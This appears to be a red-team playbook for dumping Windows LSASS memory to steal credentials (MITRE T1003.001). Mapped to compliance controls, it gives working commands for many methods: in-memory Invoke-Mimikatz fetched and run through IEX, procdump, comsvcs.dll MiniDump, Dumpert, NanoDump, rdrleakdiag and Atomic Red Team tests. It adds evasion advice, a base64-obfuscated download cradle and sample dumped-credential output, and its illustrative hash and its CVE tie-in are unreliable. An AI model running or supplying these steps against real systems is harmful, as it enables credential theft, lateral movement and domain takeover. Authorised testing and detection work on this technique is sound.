| Attribute | Details |
|---|---|
| Technique ID | CA-DUMP-001 |
| MITRE ATT&CK v18.1 | T1003.001 - OS Credential Dumping: LSASS Memory |
| Tactic | Credential Access |
| Platforms | Windows Endpoint (Server 2016-2025, Windows 10/11) |
| Severity | CRITICAL |
| CVE | CVE-2014-6318 (RDP Audit Logging - Indirect Context) |
| Technique Status | ACTIVE (with version-specific mitigations) |
| Last Verified | 2026-01-02 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025; Windows 10/11 all versions |
| Patched In | N/A - Technique continues to evolve; mitigations improve per version |
| Author | SERVTEP – Artur Pchelnikau |
Note: CVE-2014-6318 relates to RDP audit logging leakage (Microsoft Windows Vista SP2, 2008 SP2/R2 SP1, 7 SP1, 8, 8.1, Server 2008, 2012, 2012 R2), which indirectly relates to credential exposure in RDP sessions. However, Mimikatz LSASS dumping as a technique predates and supersedes this specific CVE. The primary attack (in-memory credential dumping via Mimikatz) remains ACTIVE across all modern Windows versions due to continuous bypass techniques against LSA Protection (RunAsPPL) and Credential Guard.
Concept: Mimikatz is an advanced post-exploitation tool that extracts plaintext passwords, password hashes, and Kerberos tickets directly from the Local Security Authority Subsystem Service (LSASS) process memory. LSASS stores session credentials in memory after a user logs in—including domain credentials, NTLM hashes, Kerberos TGTs, and SSO tokens. A threat actor with administrative or SYSTEM privileges can dump this process memory and extract all cached credentials, enabling lateral movement, credential theft, and privilege escalation. The attack leverages the sekurlsa::logonpasswords module in Mimikatz to enumerate and extract all active session credentials from LSASS memory in plaintext.
Attack Surface: LSASS.exe process memory, Windows authentication subsystem (Kerberos, NTLM, Digest, CredSSP), in-memory credential storage, and privileged process access controls.
Business Impact: CRITICAL - Network-Wide Lateral Movement and Domain Takeover. Successful LSASS credential dumping compromises domain administrator credentials, service account passwords, and user plaintext passwords. An attacker can then use these credentials to:
In enterprise environments, a single successful LSASS dump can lead to organization-wide breach, ransomware deployment, and regulatory non-compliance (GDPR, HIPAA, SOC2).
Technical Context: LSASS dumping typically requires:
.dmp files in %TEMP% or %WINDIR% directories; suspicious parent processes (rundll32.exe, taskmgr.exe, procdump.exe) accessing LSASS; CommandLine artifacts containing “MiniDump,” “sekurlsa,” or “Invoke-Mimikatz.”| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.13 (LSA Protection), 5.3 (Account Policies), 18.9 (Credential Guard) | Failure to enable LSA Protection and Credential Guard leaves LSASS vulnerable to memory dumping attacks. |
| DISA STIG | WN10-CC-000005 (Credential Guard), WN10-SO-000265 (RunAsPPL) | Windows security configuration requires hardening of credential storage and protection. |
| CISA SCuBA | WindowsDefender.3 (Endpoint Protection) | Credential dumping prevention through Advanced Threat Protection. |
| NIST 800-53 | AC-3 (Access Enforcement), SC-7 (Boundary Protection), IA-5 (Password Management), SC-28 (Protection of Information at Rest) | Access controls must prevent unauthorized process memory access; credentials must be protected in storage and transit. |
| GDPR | Art. 32 (Security of Processing), Art. 33 (Breach Notification) | Loss of personal data via credential compromise requires breach notification within 72 hours. |
| DORA | Art. 9 (Protection and Prevention), Art. 18 (ICT Security Testing) | EU financial institutions must implement ICT security testing and incident detection for credential protection. |
| NIS2 | Art. 21 (Cyber Risk Management Measures), Art. 23 (Incident Reporting) | Critical infrastructure operators must implement multi-layered defenses against credential theft and report incidents. |
| ISO 27001 | A.9.2.3 (Management of Privileged Access Rights), A.12.3.1 (Event Logging), A.12.4.1 (Event Logging Activation) | Control of privileged accounts and comprehensive event logging required. |
| ISO 27005 | “Compromise of Administration Interface” Risk Scenario | Memory dumping is a direct path to administrative interface compromise and lateral movement. |
Required Privileges:
PROCESS_QUERY_INFORMATION and PROCESS_VM_READ access).Required Access:
lsass.exe; ability to create files in writable directories (%TEMP%, %WINDIR%\Temp).Supported Versions:
| Windows Version | Mimikatz Support | PPL Protection | Credential Guard | Viability |
|---|---|---|---|---|
| Server 2016 | ✅ Full | Optional | Optional | ✅ HIGHLY VULNERABLE |
| Server 2019 | ✅ Full | Optional | Optional | ✅ HIGHLY VULNERABLE |
| Server 2022 | ✅ Full | Increasingly enabled | Optional | ⚠️ PARTIALLY VULNERABLE (depends on config) |
| Server 2025 | ✅ Full | Default (enterprise-joined) | Default (enterprise-joined) | ⚠️ MITIGATED (with defaults) |
| Windows 10 (all builds) | ✅ Full | Varies | Varies | ⚠️ DEPENDS ON CONFIG |
| Windows 11 22H2+ | ✅ Full | Default (enterprise-joined) | Default (enterprise-joined) | ⚠️ MITIGATED (with defaults) |
PowerShell Version: 5.0+ (for Invoke-Mimikatz and Out-Minidump.ps1 attacks).
Tools:
Objective: Determine if LSA Protection (RunAsPPL) is enabled, which blocks traditional user-mode LSASS dumps. If disabled or running at integrity level 1 (UEFI lock not enforced), the technique is viable.
# Check LSA Protection (RunAsPPL) Status
$runasppl = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL -ErrorAction SilentlyContinue
if ($runasppl.RunAsPPL -eq 0 -or $null -eq $runasppl) {
Write-Host "[+] LSA Protection DISABLED - LSASS dump is VIABLE" -ForegroundColor Green
} elseif ($runasppl.RunAsPPL -eq 1) {
Write-Host "[!] LSA Protection ENABLED (no UEFI lock) - Mitigated but bypasses possible" -ForegroundColor Yellow
} elseif ($runasppl.RunAsPPL -eq 2) {
Write-Host "[-] LSA Protection ENABLED with UEFI lock - Strongly mitigated" -ForegroundColor Red
}
# Check Credential Guard (IsolatedUserMode)
$credguard = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name Enabled -ErrorAction SilentlyContinue
if ($credguard.Enabled -eq 1) {
Write-Host "[-] Credential Guard ENABLED - Additional mitigation layer" -ForegroundColor Red
} else {
Write-Host "[+] Credential Guard DISABLED - LSASS plaintext passwords available" -ForegroundColor Green
}
# Check WDigest plaintext passwords in memory (often disabled on Server 2012+)
$wdigest = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name UseLogonCredential -ErrorAction SilentlyContinue
if ($wdigest.UseLogonCredential -eq 1) {
Write-Host "[+] WDigest plaintext passwords ENABLED - Additional credentials available" -ForegroundColor Green
} else {
Write-Host "[-] WDigest plaintext passwords DISABLED (default Server 2012+)" -ForegroundColor Cyan
}
# Identify Windows version
$osversion = [System.Environment]::OSVersion.Version
Write-Host "[*] Windows Version: $osversion"
What to Look For:
RunAsPPL = 0 or not present: ✅ LSASS dump is straightforward.RunAsPPL = 1: ⚠️ Dump succeeds but requires mimidrv.sys driver injection or API unhooking techniques.RunAsPPL = 2: ❌ Dump requires kernel-level exploits or alternative techniques.Credential Guard = 1: ❌ Plaintext passwords are isolated; hashes available but plaintext passwords blocked.WDigest = 1: ✅ Additional plaintext passwords available in LSASS.Server 2016-2019: RunAsPPL defaults to 0 (disabled). Dumps succeed immediately.
Server 2022+: RunAsPPL defaults to 1 (enabled, no UEFI lock) on some builds. Dumps still succeed but may trigger alerts.
Server 2025 (Enterprise-joined): RunAsPPL defaults to 2 (UEFI lock) and Credential Guard enabled by default. Requires advanced bypass techniques.
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. Most reliable against unpatched systems with RunAsPPL = 0.
Objective: Ensure you are running with Local Administrator or SYSTEM privileges.
Command (PowerShell):
# Check current privilege level
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, User
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object System.Security.Principal.WindowsPrincipal($currentUser)
$isAdmin = $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
Write-Host "Is Admin: $isAdmin"
Expected Output:
Is Admin: True
What This Means:
True: Proceed to Step 2. You have sufficient privileges.False: Exploit UAC bypass or privilege escalation before proceeding.OpSec & Evasion:
fodhelper.exe, compmgmt.msc, etc.).Objective: Download the latest Mimikatz binary and execute the sekurlsa::logonpasswords module.
Command (PowerShell - Download via IEX):
# Download Mimikatz from GitHub and execute in memory
$mimikatzURL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"
IEX (New-Object Net.WebClient).DownloadString($mimikatzURL)
Invoke-Mimikatz -DumpCreds
Expected Output:
.#####. mimikatz 2.2.0 (x64) #18362 Feb 3 2025 23:58:42 +0000
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin Delpy `gentilkiwi`
'## v ##' https://blog.gentilkiwi.com/mimikatz
'#####. (UID=500)
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 1/2/2026 6:30:00 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : WIN-SERVER$
* Domain : EXAMPLE
* NTLM : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
* SHA1 : x9y8z7a6b5c4d3e2f1g0h9i8j7k6l5m4n3o2p1q0
[+] Dumped all cached credentials (hashes and plaintext passwords).
What This Means:
Username: Service account or domain user account.Domain: Domain of the account (WORKGROUP for local accounts, EXAMPLE for domain accounts).NTLM: MD4 hash of password (used for PtH attacks).SHA1: Hash of credential data.OpSec & Evasion:
Bypass execution policy: powershell -ExecutionPolicy Bypass -Command "..."Troubleshooting:
| Error | Cause | Fix (Server 2016) | Fix (Server 2019) | Fix (Server 2022) | Fix (Server 2025) |
|---|---|---|---|---|---|
| “ERROR kuhl_m_sekurlsa_acquireLSA” | Not running as admin | Re-run as admin | Re-run as admin | Re-run as admin | Re-run as admin |
| “Protected Process Light (PPL) enabled” | RunAsPPL = 1 | Use mimidrv.sys injection | Use mimidrv.sys injection | Use mimidrv.sys or Dumpert | Kernel exploit required |
| “Credential Guard enabled” | IsolatedUserMode = 1 | Plaintext unavailable (hashes still stolen) | Plaintext unavailable (hashes still stolen) | Plaintext unavailable (hashes still stolen) | Plaintext unavailable (hashes still stolen) |
| “No logon sessions found” | LSASS has minimal sessions | Normal on minimal systems; wait for user login | Normal on minimal systems; wait for user login | Normal on minimal systems; wait for user login | Normal on minimal systems; wait for user login |
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. Legitimate tool; often bypasses policy blocks but leaves file artifacts.
Objective: Obtain the Sysinternals ProcDump executable.
Command (PowerShell):
# Download ProcDump from Microsoft Sysinternals
$procDumpURL = "https://download.sysinternals.com/files/Procdump.zip"
$outputPath = "C:\Windows\Temp\Procdump.zip"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $procDumpURL -OutFile $outputPath
Expand-Archive -Path $outputPath -DestinationPath "C:\Windows\Temp\Procdump" -Force
Expected Output:
Directory: C:\Windows\Temp\Procdump
Procdump.exe
Procdump64.exe
Eula.txt
...
Version Note: Both 32-bit (Procdump.exe) and 64-bit (Procdump64.exe) versions exist. Use Procdump64.exe on 64-bit systems for better reliability.
Objective: Create a memory dump of LSASS.exe and save to disk.
Command (Command Prompt - Admin):
C:\Windows\Temp\Procdump\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp
Command (PowerShell - Admin):
C:\Windows\Temp\Procdump\procdump64.exe -accepteula -ma lsass.exe "C:\Windows\Temp\lsass_dump.dmp"
Expected Output:
ProcDump v10.0 - Process dump utility
Copyright (C) 2009-2021 Mark Russinovich
Sysinternals - www.microsoft.com/sysinternals
[06:35:12] Dump 1 initiated: C:\Windows\Temp\lsass_dump.dmp
[06:35:13] Dump 1 complete: 45 MB written in 1.2 seconds
[06:35:13] Dump count reached.
What This Means:
-accepteula: Accepts Microsoft EULA (required for automation).-ma: Full dump (not mini-dump). Includes all memory pages for maximum credential recovery.OpSec & Evasion:
C:\Windows\Temp\lsass_dump.dmp:zone.identifier7z a -y dump.7z lsass_dump.dmp && del lsass_dump.dmp-mm flag) instead of full dump to reduce file size and detection likelihood.Troubleshooting:
| Error | Cause | Fix (Server 2016) | Fix (Server 2019-2025) |
|---|---|---|---|
| “Cannot open process” (Access Denied) | Not running as admin | Run Command Prompt as Administrator | Run Command Prompt as Administrator |
| “Process not found” | LSASS PID changed | Retry; LSASS PID is stable unless system crashes | Retry; LSASS PID is stable unless system crashes |
| “Dump failed - PPL enabled” | RunAsPPL = 1 or 2 | Not applicable (Server 2016 has RunAsPPL = 0) | Use alternative method (Dumpert, NanoDump) |
Command (Server 2016-2019 Variant):
procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
Command (Server 2022+ with RunAsPPL):
REM Standard dump may fail. Use -r flag to retry or Dumpert for direct syscalls
procdump64.exe -accepteula -ma -r lsass.exe C:\Windows\Temp\lsass.dmp
REM If above fails, proceed to METHOD 3 (Dumpert)
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. Built-in binary; no download required. Bypasses many application whitelisting policies.
Objective: Obtain the LSASS.exe Process ID (PID).
Command (PowerShell):
$lsassPID = (Get-Process -Name lsass).Id
Write-Host "LSASS PID: $lsassPID"
Expected Output:
LSASS PID: 456
Command (Command Prompt):
tasklist /FI "IMAGENAME eq lsass.exe"
REM Output: lsass.exe 456
What This Means:
Objective: Use the built-in comsvcs.dll MiniDump export to dump LSASS.exe memory to disk.
Command (PowerShell - Admin):
$lsassPID = (Get-Process -Name lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsassPID "C:\Windows\Temp\lsass.dmp" full
Command (Command Prompt - Admin):
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" ^| find /c "lsass"') do (
tasklist /FI "IMAGENAME eq lsass.exe" | find "lsass.exe" | for /f "tokens=2" %j in ('findstr lsass') do (
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump %j "C:\Windows\Temp\lsass.dmp" full
)
)
REM Or simpler (if you know the PID, e.g., 456):
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 456 "C:\Windows\Temp\lsass.dmp" full
Expected Output:
[Process successfully dumped to C:\Windows\Temp\lsass.dmp]
What This Means:
comsvcs.dll is a COM+ Services library included in all Windows versions.MiniDump function creates a process dump (equivalent to ProcDump -mm flag).OpSec & Evasion:
powershell -enc [base64_encoded_command]Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “Ordinal 16 not found” | Incorrect comsvcs.dll version | Use full path: C:\Windows\System32\comsvcs.dll (not SysWOW64) |
| “MiniDump: Access Denied” | Not running as admin | Run PowerShell/CMD as Administrator |
| “Process not found” | Incorrect PID | Re-run tasklist /FI "IMAGENAME eq lsass.exe" to verify PID |
| “Output file write failed” | C:\Windows\Temp not writable | Use alternate location (C:\temp, C:\ProgramData) or UNC path |
Command (Server 2022+ Variant with RunAsPPL):
REM This may fail silently if PPL is enabled
REM Error: "Unable to read memory from target process" (silent failure)
REM Solution: Use METHOD 4 (Dumpert/Direct Syscalls) for Server 2022+
$lsassPID = (Get-Process -Name lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsassPID "C:\Windows\Temp\lsass.dmp" full
REM Check if file exists and has size > 1 MB
If ((Get-Item "C:\Windows\Temp\lsass.dmp" -ErrorAction SilentlyContinue).Length -gt 1MB) {
Write-Host "[+] Dump successful"
} Else {
Write-Host "[-] Dump failed - PPL likely enabled. Try Dumpert or NanoDump."
}
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. Bypasses PPL and many EDR hooks by using direct syscalls instead of hooked Windows APIs.
Objective: Obtain Dumpert binary from Outflank GitHub.
Command (PowerShell):
$dumpertURL = "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe"
$outputPath = "C:\Windows\Temp\Dumpert.exe"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $dumpertURL -OutFile $outputPath
Expected Output:
C:\Windows\Temp\Dumpert.exe (Size: ~50-100 KB)
Objective: Run Dumpert, which automatically detects LSASS and dumps memory using direct syscalls.
Command (Command Prompt - Admin):
C:\Windows\Temp\Dumpert.exe
Expected Output:
Outflank-Dumpert v1.0 (https://github.com/clr2of8)
[*] Dumping LSASS...
[*] Creating minidump...
[+] Successfully dumped lsass.exe to: C:\Windows\Temp\dumpert.dmp
What This Means:
dumpert.dmp is created in the current directory (typically C:\Windows\Temp if running as admin).OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “Access Denied” | Not running as admin | Run Command Prompt as Administrator |
| “Failed to open LSASS” | PPL with UEFI lock (RunAsPPL = 2) | Dumpert still works; if not, try NanoDump or kernel exploit |
| “Invalid PE header” | Corrupted binary | Re-download Dumpert from GitHub |
| “.dmp file not created” | Invalid directory permissions | Run from C:\ProgramData or explicit writable path |
Command (Server 2022+ Variant):
REM Dumpert is specifically designed for PPL bypass
C:\Windows\Temp\Dumpert.exe
REM Should succeed even with RunAsPPL = 1 or 2
REM Output: "Successfully dumped lsass.exe to: C:\Windows\Temp\dumpert.dmp"
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. No command-line execution; GUI-based approach.
Objective: Launch Task Manager with administrative privileges.
GUI Steps:
CTRL + ALT + DEL or right-click taskbar → Task Manager.Alternative (PowerShell):
taskmgr.exe
GUI Steps:
C:\Users\[YourUsername]\AppData\Local\Temp\lsass.dmp.”Expected Output:
C:\Users\Administrator\AppData\Local\Temp\lsass.dmp (Size: 50-200 MB)
What This Means:
lsass.dmp and placed in user’s local temp.OpSec & Evasion:
Troubleshooting:
| Issue | Cause | Fix |
|---|---|---|
| “lsass.exe not visible” | Not showing all processes | Click Details → Show processes from all users |
| “Create dump file option missing” | Old Task Manager version | Update Windows to latest version |
| “Memory dump failed” | PPL enabled (cannot dump from GUI) | Dump still succeeds; if not, use Command Prompt method |
| “Permission denied writing to temp” | Temp folder not writable | Run Task Manager as Administrator |
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. Pure PowerShell implementation; no external binaries required.
Objective: Load PowerShell function that wraps MiniDumpWriteDump API.
Command (PowerShell - Admin):
# Download Out-Minidump.ps1 from Atomic Red Team
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$scriptURL = "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1"
IEX (New-Object Net.WebClient).DownloadString($scriptURL)
Expected Output:
[Script loaded successfully]
Objective: Call Out-Minidump function against LSASS process.
Command (PowerShell - Admin):
Get-Process -Name lsass | Out-Minidump
Expected Output:
[+] Dumping lsass (PID: 456)
[+] Dump written to: C:\Users\Administrator\AppData\Local\Temp\lsass_456.dmp
What This Means:
lsass_[PID].dmp in user’s local temp directory.OpSec & Evasion:
ScriptBlockLogging enabled); however, IEX (Invoke-Expression) can be obfuscated.powershell -ExecutionPolicy Bypasspowershell -enc [base64_encoded_command]. C:\Windows\Temp\Out-Minidump.ps1Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “IEX: The term ‘Out-Minidump’ is not recognized” | Script not downloaded | Re-run IEX command or download manually to disk |
| “MiniDumpWriteDump failed” | PPL enabled and PowerShell-based API call blocked | Use Dumpert or NanoDump instead |
| “Access Denied” | Not running as admin | Run PowerShell as Administrator |
| “Get-Process: Cannot find process ‘lsass’” | LSASS process not found (rare) | Verify LSASS is running: Get-Process -Name lsass |
Command (Server 2022+ Variant - Obfuscated):
REM Base64-encoded version to evade detection:
powershell -NoProfile -ExecutionPolicy Bypass -enc "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGplAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACdAaHR0cHM6Ly9naXRodWIuY29tL3JlZGNhbmFyeWNvL2F0b21pYy1yZWQtdGVhbS9yYXcvbWFzdGVyL2F0b21pY3MvVDEwMDMuMDAxL3NyYy9PdXQtTWluaWR1bXAucHMxJwApOwpHZXQtUHJvY2VzcyAtTmFtZSBsc2FzcyB8IE91dC1NaW5pZHVtcA=="
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. Advanced evasion technique using invalid dump signatures to bypass signature-based detection.
Objective: Obtain NanoDump from HelpSystems GitHub (fork of original Fortra project).
Command (PowerShell):
$nanodumpURL = "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe"
$outputPath = "C:\Windows\Temp\nanodump.exe"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $nanodumpURL -OutFile $outputPath
Expected Output:
C:\Windows\Temp\nanodump.exe (Size: ~150-200 KB)
Objective: Run NanoDump to create dump with invalid/modified dump signature to evade file-based detection.
Command (Command Prompt - Admin):
C:\Windows\Temp\nanodump.exe -w "C:\Windows\Temp\nanodump.dmp"
Command (PowerShell - Admin):
C:\Windows\Temp\nanodump.exe -w "C:\Windows\Temp\nanodump.dmp"
Expected Output:
[*] Creating process dump
[*] Dump written to C:\Windows\Temp\nanodump.dmp
[+] Success!
What This Means:
-w flag specifies output file path.sekurlsa::minidump (which auto-corrects signature).OpSec & Evasion:
sekurlsa::minidump to analyze (Mimikatz automatically handles invalid signatures).Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “Access Denied” | Not running as admin | Run Command Prompt as Administrator |
| “File write failed” | Temp directory not writable | Use alternate path (C:\ProgramData, C:\temp) |
| “NanoDump: ntdll functions not found” | Corrupted binary or missing ntdll | Re-download NanoDump from GitHub |
| “PPL enabled - dump failed” | RunAsPPL = 2 (UEFI lock) | NanoDump still works with syscalls; if not, try kernel exploit |
Command (Server 2022+ Variant - Silent Process Exit):
REM NanoDump can also leverage Silent Process Exit for even stealthier dumping
REM (Less detectable parent process, uses WerFault.exe)
C:\Windows\Temp\nanodump.exe --silent-process-exit "C:\Windows\Temp\"
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 all builds. Built-in Microsoft diagnostic tool; highly trusted and often bypasses security policies.
Objective: Confirm the RDP Leak Diagnostic tool is present on the system.
Command (PowerShell):
$rdrleakdiagPath = Get-ChildItem -Path "C:\Windows\System32", "C:\Windows\SysWOW64" -Filter "rdrleakdiag.exe" -ErrorAction SilentlyContinue
if ($rdrleakdiagPath) {
Write-Host "[+] rdrleakdiag.exe found at: $($rdrleakdiagPath.FullName)"
} else {
Write-Host "[-] rdrleakdiag.exe not found"
}
Expected Output:
[+] rdrleakdiag.exe found at: C:\Windows\System32\rdrleakdiag.exe
Objective: Use rdrleakdiag.exe to dump LSASS memory with /p (process) and /fullmemdmp (full memory dump) flags.
Command (PowerShell - Admin):
$lsassPID = (Get-Process -Name lsass).Id
$outputDir = "C:\Windows\Temp\rdrleakdiag_output"
if (-not (Test-Path $outputDir)) {
New-Item -ItemType Directory -Path $outputDir -Force | Out-Null
}
& "C:\Windows\System32\rdrleakdiag.exe" /p $lsassPID /o $outputDir /fullmemdmp /wait 1
Write-Host "[+] Dump created in: $outputDir"
Get-ChildItem -Path $outputDir -Recurse -Filter "*.dmp"
Expected Output:
C:\Windows\System32\rdrleakdiag.exe /p 456 /o C:\Windows\Temp\rdrleakdiag_output /fullmemdmp /wait 1
[*] Creating dump...
[+] Minidump file created: C:\Windows\Temp\rdrleakdiag_output\minidump_456.dmp
What This Means:
/p [PID]: Specifies process ID to dump./o [OUTPUT_DIR]: Output directory for dump file./fullmemdmp: Full memory dump (not mini-dump)./wait 1: Wait 1 second before creating dump.minidump_[PID].dmp (e.g., minidump_456.dmp).OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “rdrleakdiag.exe not found” | Not installed (rare; included in all modern Windows) | Tool is standard; ensure C:\Windows\System32 is accessible |
| “Access Denied” | Not running as admin | Run PowerShell as Administrator |
| “Output directory permission denied” | Cannot write to specified output directory | Use alternate path (C:\ProgramData, C:\temp) with full permissions |
| “Dump creation failed silently” | PPL or Credential Guard preventing access | rdrleakdiag may fail silently; check if output file exists and has size > 1 MB |
Command (Server 2022+ Variant):
REM rdrleakdiag typically succeeds even on Server 2022+ with PPL
$lsassPID = (Get-Process -Name lsass).Id
$outputDir = "C:\Windows\Temp\rdrleakdiag_$((Get-Date).Ticks)"
New-Item -ItemType Directory -Path $outputDir -Force | Out-Null
& "C:\Windows\System32\rdrleakdiag.exe" /p $lsassPID /o $outputDir /fullmemdmp /wait 1
References & Proofs:
The Atomic Red Team project provides 14 standardized tests for LSASS credential dumping:
| Test # | Test Name | Method | Tools Required | Supported Versions |
|---|---|---|---|---|
| 1 | Dump LSASS.exe Memory using ProcDump | Binary dump | procdump.exe | All |
| 2 | Dump LSASS.exe Memory using comsvcs.dll | LOLBin MiniDump | rundll32.exe (built-in) | All |
| 3 | Dump LSASS.exe Memory using direct system calls and API unhooking | Syscalls | Dumpert.exe | All (PPL-compatible) |
| 4 | Dump LSASS.exe Memory using NanoDump | Syscalls + Invalid Sig | nanodump.x64.exe | All (PPL-compatible) |
| 5 | Dump LSASS.exe Memory using Windows Task Manager | GUI | taskmgr.exe (built-in) | All |
| 6 | Offline Credential Theft With Mimikatz | File-based analysis | mimikatz.exe, .dmp file | All |
| 7 | LSASS read with pypykatz | File-based analysis | pypykatz (Python) | All |
| 8 | Dump LSASS.exe Memory using Out-Minidump.ps1 | PowerShell API wrapper | Out-Minidump.ps1 | All |
| 9 | Create Mini Dump of LSASS.exe using ProcDump | Mini-dump variant | procdump.exe | All |
| 10 | Powershell Mimikatz | In-memory injection | PowerShell, Invoke-Mimikatz | All |
| 11 | Dump LSASS with createdump.exe from .Net v5 | .NET tool | createdump.exe (.NET 5+) | All (if .NET 5+ installed) |
| 12 | Dump LSASS.exe using imported Microsoft DLLs | DLL import + XOR | xordump.exe | All |
| 13 | Dump LSASS.exe using lolbin rdrleakdiag.exe | LOLBin | rdrleakdiag.exe (built-in) | All |
| 14 | Dump LSASS.exe Memory through Silent Process Exit | WerFault.exe abuse | nanodump.exe (–silent-process-exit flag) | All |
Install Atomic Red Team (if not already installed):
# Download and import Atomic Red Team framework
$atomicRepoURL = "https://github.com/redcanaryco/atomic-red-team/archive/master.zip"
$extractPath = "C:\temp\atomic-red-team"
Invoke-WebRequest -Uri $atomicRepoURL -OutFile "C:\temp\atomic-red-team.zip"
Expand-Archive -Path "C:\temp\atomic-red-team.zip" -DestinationPath $extractPath -Force
Execute T1003.001 Tests:
# Install Atomic Red Team PowerShell Module
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Install-AtomicRedTeam.ps1" -OutFile "$env:TEMP\Install-AtomicRedTeam.ps1"
& "$env:TEMP\Install-AtomicRedTeam.ps1" -getAtomics
# Run specific test (e.g., Test #1 - ProcDump)
Invoke-AtomicTest T1003.001 -TestNumbers 1
# Run all tests for T1003.001
Invoke-AtomicTest T1003.001
# Run test with cleanup
Invoke-AtomicTest T1003.001 -TestNumbers 2 -Cleanup
Expected Output (Test #1 - ProcDump):
Executing Atomic Test T1003.001.001 - Dump LSASS.exe Memory using ProcDump
[*] Test started at 2026-01-02 06:35:00
[+] procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp
[+] Successfully dumped lsass.exe (45 MB) to C:\Windows\Temp\lsass_dump.dmp
[*] Test completed at 2026-01-02 06:35:02
# Remove dumped files
Remove-Item "C:\Windows\Temp\lsass*.dmp" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\Temp\dumpert.dmp" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\Temp\nanodump.dmp" -Force -ErrorAction SilentlyContinue
Reference: Atomic Red Team T1003.001 Test Suite
Current Version: 2.2.0 (as of Jan 2026) Minimum Version: 2.0.0 (legacy; recommend 2.2.0+ for modern OS support) Supported Platforms: Windows Server 2008-2025, Windows XP-11 Requirements: Administrator or SYSTEM privileges, ntdll.dll access (user-mode library).
Version-Specific Notes:
Installation:
# Download from GitHub
$mimikatzURL = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210101/mimikatz_trunk.zip"
$outputPath = "C:\Windows\Temp\mimikatz.zip"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $mimikatzURL -OutFile $outputPath
Expand-Archive -Path $outputPath -DestinationPath "C:\Windows\Temp\mimikatz" -Force
# Verify installation
C:\Windows\Temp\mimikatz\x64\mimikatz.exe
Usage:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
One-Liner (PowerShell):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
Current Version: 10.15 (as of Jan 2026) Minimum Version: 10.0 Supported Platforms: Windows XP-11, Server 2003-2025 Requirements: Administrator privileges, minimal system resources.
Installation:
# Download from Microsoft Sysinternals
$procDumpURL = "https://download.sysinternals.com/files/Procdump.zip"
$outputPath = "C:\Windows\Temp\Procdump.zip"
Invoke-WebRequest -Uri $procDumpURL -OutFile $outputPath
Expand-Archive -Path $outputPath -DestinationPath "C:\Windows\Temp\Procdump" -Force
Usage:
procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp
